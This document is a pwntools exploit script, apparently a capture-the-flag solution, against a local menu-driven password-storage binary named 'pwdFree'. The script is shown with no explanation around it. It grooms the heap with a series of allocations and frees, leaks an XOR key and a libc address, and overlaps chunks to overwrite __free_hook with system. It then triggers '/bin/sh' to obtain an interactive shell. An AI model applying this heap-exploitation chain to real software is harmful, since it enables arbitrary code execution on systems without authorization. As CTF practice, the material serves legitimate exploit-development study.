1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
binary = "./pwdFree" lib = "/lib/x86_64-linux-gnu/libc.so.6" p = process(binary)
elf = ELF(binary) libc = ELF(lib)
s = lambda buf: p.send(buf) sl = lambda buf: p.sendline(buf) sa = lambda delim, buf: p.sendafter(delim, buf) sla = lambda delim, buf: p.sendlineafter(delim, buf) sh = lambda: p.interactive() r = lambda n=None: p.recv(n) ra = lambda t=tube.forever:p.recvall(t) ru = lambda delim: p.recvuntil(delim) rl = lambda: p.recvline() rls = lambda n=2**20: p.recvlines(n) trs = lambda src :src^middle
def add(ID,size,content): sla("Choice:","1") sla("Input The ID You Want Save:",ID) sla("Length Of Your Pwd:",str(size)) sla("Your Pwd:",content) def show(id): sla("Choice:","3") sla("Check:",str(id))
def free(id): sla("Choice:","4") sla("Delete:",str(id))
add("0",0xf8,"A") ru("Save ID:") r(8) middle = u64(r(8)) print("middle => 0x%x"%middle) add("1",0xf8,"B") add("2",0xf8,"C") add("3",0xf8,"D") add("4",0xf8,"E") add("5",0xf8,"F") add("6",0xf8,"F")
add("7",0xf8,"F") add("8",0x18,"F") add("9",0x18,"F") add("10",0xf8,"F") add("11",0x18,"F") add("barrier2",0x18,"F")
for _ in range(7): free(str(_))
free(7)
free(9) payload = "" payload += p64(trs(0))*(2) payload += p64(trs(0x20+0x100+0x20)) add("leak",0x18,payload) free(10)
add("giles",0x78,"1") add("giles",0x78,"1")
show(8) ru("Pwd is: ") malloc_hook = trs(u64(r(8)))-96-0x10 info("malloc_hook => 0x%x"%malloc_hook) libc.address = malloc_hook - libc.sym["__malloc_hook"]
free(11) free(0)
payload = '' payload += p64(trs(0))*3 payload += p64(trs(0x21)) payload += p64(trs(libc.sym["__free_hook"]-8)) add("Giles",0x30,payload) add("Giles",0x18,"a") payload = "" payload += p64(trs(0x68732f6e69622f)) payload += p64(trs(libc.sym["system"])) payload += p64(trs(0)) add("Giles",0x18,payload)
sl("4") sl("4") r()
sh()
|